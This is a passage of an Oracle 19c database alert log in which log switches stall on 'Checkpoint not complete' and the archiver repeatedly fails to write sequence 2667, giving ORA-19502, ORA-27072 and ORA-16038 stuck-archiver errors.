/u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:35.644830+08:00 ARC3 (PID:1871): Archived Log entry 2645 added for T-1.S-2649 ID 0x75f9c04b LAD:1 2025-12-27T23:27:35.686061+08:00 Thread 1 cannot allocate new log, sequence 2651 Checkpoint not complete Current log# 2 seq# 2650 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:38.753406+08:00 Thread 1 advanced to log sequence 2651 (LGWR switch) Current log# 3 seq# 2651 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:38.781366+08:00 ARC0 (PID:1861): Archived Log entry 2646 added for T-1.S-2650 ID 0x75f9c04b LAD:1 2025-12-27T23:27:38.822730+08:00 Thread 1 cannot allocate new log, sequence 2652 Checkpoint not complete Current log# 3 seq# 2651 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:41.899940+08:00 Thread 1 advanced to log sequence 2652 (LGWR switch) Current log# 1 seq# 2652 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:41.947876+08:00 ARC1 (PID:1867): Archived Log entry 2647 added for T-1.S-2651 ID 0x75f9c04b LAD:1 2025-12-27T23:27:41.987817+08:00 Thread 1 cannot allocate new log, sequence 2653 Checkpoint not complete Current log# 1 seq# 2652 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:45.042932+08:00 Thread 1 advanced to log sequence 2653 (LGWR switch) Current log# 2 seq# 2653 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:45.080134+08:00 ARC2 (PID:1869): Archived Log entry 2648 added for T-1.S-2652 ID 0x75f9c04b LAD:1 2025-12-27T23:27:45.124425+08:00 Thread 1 cannot allocate new log, sequence 2654 Checkpoint not complete Current log# 2 seq# 2653 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:48.165104+08:00 Thread 1 advanced to log sequence 2654 (LGWR switch) Current log# 3 seq# 2654 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:48.212774+08:00 ARC3 (PID:1871): Archived Log entry 2649 added for T-1.S-2653 ID 0x75f9c04b LAD:1 2025-12-27T23:27:48.250834+08:00 Thread 1 cannot allocate new log, sequence 2655 Checkpoint not complete Current log# 3 seq# 2654 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:51.247912+08:00 Thread 1 advanced to log sequence 2655 (LGWR switch) Current log# 1 seq# 2655 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:51.294148+08:00 ARC0 (PID:1861): Archived Log entry 2650 added for T-1.S-2654 ID 0x75f9c04b LAD:1 2025-12-27T23:27:51.334088+08:00 Thread 1 cannot allocate new log, sequence 2656 Checkpoint not complete Current log# 1 seq# 2655 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:54.378650+08:00 Thread 1 advanced to log sequence 2656 (LGWR switch) Current log# 2 seq# 2656 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:54.432433+08:00 ARC1 (PID:1867): Archived Log entry 2651 added for T-1.S-2655 ID 0x75f9c04b LAD:1 2025-12-27T23:27:54.473120+08:00 Thread 1 cannot allocate new log, sequence 2657 Checkpoint not complete Current log# 2 seq# 2656 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:57.479095+08:00 Thread 1 advanced to log sequence 2657 (LGWR switch) Current log# 3 seq# 2657 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:57.522703+08:00 ARC2 (PID:1869): Archived Log entry 2652 added for T-1.S-2656 ID 0x75f9c04b LAD:1 2025-12-27T23:27:57.564111+08:00 Thread 1 cannot allocate new log, sequence 2658 Checkpoint not complete Current log# 3 seq# 2657 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:00.647959+08:00 Thread 1 advanced to log sequence 2658 (LGWR switch) Current log# 1 seq# 2658 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:00.694499+08:00 ARC3 (PID:1871): Archived Log entry 2653 added for T-1.S-2657 ID 0x75f9c04b LAD:1 2025-12-27T23:28:00.735134+08:00 Thread 1 cannot allocate new log, sequence 2659 Checkpoint not complete Current log# 1 seq# 2658 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:03.803883+08:00 Thread 1 advanced to log sequence 2659 (LGWR switch) Current log# 2 seq# 2659 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:03.845474+08:00 ARC0 (PID:1861): Archived Log entry 2654 added for T-1.S-2658 ID 0x75f9c04b LAD:1 2025-12-27T23:28:03.888969+08:00 Thread 1 cannot allocate new log, sequence 2660 Checkpoint not complete Current log# 2 seq# 2659 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:06.947138+08:00 Thread 1 advanced to log sequence 2660 (LGWR switch) Current log# 3 seq# 2660 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:06.993983+08:00 ARC1 (PID:1867): Archived Log entry 2655 added for T-1.S-2659 ID 0x75f9c04b LAD:1 2025-12-27T23:28:07.030616+08:00 Thread 1 cannot allocate new log, sequence 2661 Checkpoint not complete Current log# 3 seq# 2660 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:10.048119+08:00 Thread 1 advanced to log sequence 2661 (LGWR switch) Current log# 1 seq# 2661 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:10.098364+08:00 ARC2 (PID:1869): Archived Log entry 2656 added for T-1.S-2660 ID 0x75f9c04b LAD:1 2025-12-27T23:28:10.140820+08:00 Thread 1 cannot allocate new log, sequence 2662 Checkpoint not complete Current log# 1 seq# 2661 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:13.158786+08:00 Thread 1 advanced to log sequence 2662 (LGWR switch) Current log# 2 seq# 2662 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:13.204617+08:00 ARC3 (PID:1871): Archived Log entry 2657 added for T-1.S-2661 ID 0x75f9c04b LAD:1 2025-12-27T23:28:13.246624+08:00 Thread 1 cannot allocate new log, sequence 2663 Checkpoint not complete Current log# 2 seq# 2662 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:16.292186+08:00 Thread 1 advanced to log sequence 2663 (LGWR switch) Current log# 3 seq# 2663 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:16.340320+08:00 ARC0 (PID:1861): Archived Log entry 2658 added for T-1.S-2662 ID 0x75f9c04b LAD:1 2025-12-27T23:28:16.378827+08:00 Thread 1 cannot allocate new log, sequence 2664 Checkpoint not complete Current log# 3 seq# 2663 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:19.371460+08:00 Thread 1 advanced to log sequence 2664 (LGWR switch) Current log# 1 seq# 2664 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:19.418969+08:00 ARC1 (PID:1867): Archived Log entry 2659 added for T-1.S-2663 ID 0x75f9c04b LAD:1 2025-12-27T23:28:19.457505+08:00 Thread 1 cannot allocate new log, sequence 2665 Checkpoint not complete Current log# 1 seq# 2664 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:22.467026+08:00 Thread 1 advanced to log sequence 2665 (LGWR switch) Current log# 2 seq# 2665 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:22.512370+08:00 ARC2 (PID:1869): Archived Log entry 2660 added for T-1.S-2664 ID 0x75f9c04b LAD:1 2025-12-27T23:28:22.553756+08:00 Thread 1 cannot allocate new log, sequence 2666 Checkpoint not complete Current log# 2 seq# 2665 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:25.501865+08:00 Thread 1 advanced to log sequence 2666 (LGWR switch) Current log# 3 seq# 2666 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:25.527231+08:00 ARC3 (PID:1871): Archived Log entry 2661 added for T-1.S-2665 ID 0x75f9c04b LAD:1 2025-12-27T23:28:25.568929+08:00 Thread 1 cannot allocate new log, sequence 2667 Checkpoint not complete Current log# 3 seq# 2666 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:28.686540+08:00 Thread 1 advanced to log sequence 2667 (LGWR switch) Current log# 1 seq# 2667 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:28.734363+08:00 ARC0 (PID:1861): Archived Log entry 2662 added for T-1.S-2666 ID 0x75f9c04b LAD:1 2025-12-27T23:28:28.787129+08:00 Thread 1 cannot allocate new log, sequence 2668 Checkpoint not complete Current log# 1 seq# 2667 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:28:31.789688+08:00 Thread 1 advanced to log sequence 2668 (LGWR switch) Current log# 2 seq# 2668 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:31.838862+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:28:31.851277+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:28:31.851340+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:28:31.888742+08:00 Thread 1 cannot allocate new log, sequence 2669 Checkpoint not complete Current log# 2 seq# 2668 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:28:31.896892+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; 2025-12-27T23:28:31.896950+08:00 ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:28:31.896997+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:28:34.932057+08:00 Thread 1 advanced to log sequence 2669 (LGWR switch) Current log# 3 seq# 2669 mem# 0: /u01/app/oracle/oradata/DB/redo03.log Thread 1 cannot allocate new log, sequence 2670 Checkpoint not complete Current log# 3 seq# 2669 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:28:37.973215+08:00 ORACLE Instance db1 - Cannot allocate log, archival required 2025-12-27T23:28:37.973484+08:00 Thread 1 cannot allocate new log, sequence 2670 All online logs need archiving Examine archive trace files for archiving errors Current log# 3 seq# 2669 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:29:06.339828+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:29:06.366309+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:29:06.376404+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:29:06.376703+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:29:06.405291+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:29:06.405750+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:30:06.359645+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:30:06.413367+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:30:06.424349+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:30:06.424808+08:00 ARC0 (PID:1861): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:30:06.480154+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:30:06.480297+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:31:06.375957+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:31:06.436242+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:31:06.447138+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:31:06.447199+08:00 ARC3 (PID:1871): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:31:06.497951+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:31:06.498088+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:32:06.393147+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:32:06.450947+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:32:06.462173+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:32:06.462444+08:00 ARC2 (PID:1869): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:32:06.509571+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:32:06.509825+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:33:06.411119+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:33:06.435888+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:33:06.445744+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:33:06.445991+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:33:06.475858+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:33:06.476283+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:34:06.427890+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:34:06.453371+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:34:06.464268+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:34:06.464515+08:00 ARC0 (PID:1861): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:34:06.494167+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:34:06.494640+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:35:06.445445+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:35:06.469151+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:35:06.480134+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:35:06.480866+08:00 ARC3 (PID:1871): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:35:06.506347+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:35:06.506454+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:36:06.461434+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:36:06.486532+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:36:06.496712+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:36:06.496959+08:00 ARC2 (PID:1869): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:36:06.526842+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:36:06.527278+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:36:10.574050+08:00 minact-scn: useg scan erroring out with error e:12751 2025-12-27T23:37:06.477726+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:37:06.501827+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:37:06.512073+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:37:06.512312+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:37:06.541659+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:37:06.542688+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:38:06.494506+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:38:06.519183+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:38:06.529261+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:38:06.529608+08:00 ARC0 (PID:1861): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:38:06.560386+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:38:06.561367+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:39:06.511178+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:39:06.535738+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:39:06.545816+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:39:06.546195+08:00 ARC3 (PID:1871): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:39:06.575797+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:39:06.576984+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:40:06.529288+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:40:06.553926+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:40:06.563982+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:40:06.564258+08:00 ARC2 (PID:1869): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:40:06.595401+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:40:06.596208+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:41:06.546419+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:41:06.572607+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:41:06.582521+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:41:06.582835+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file 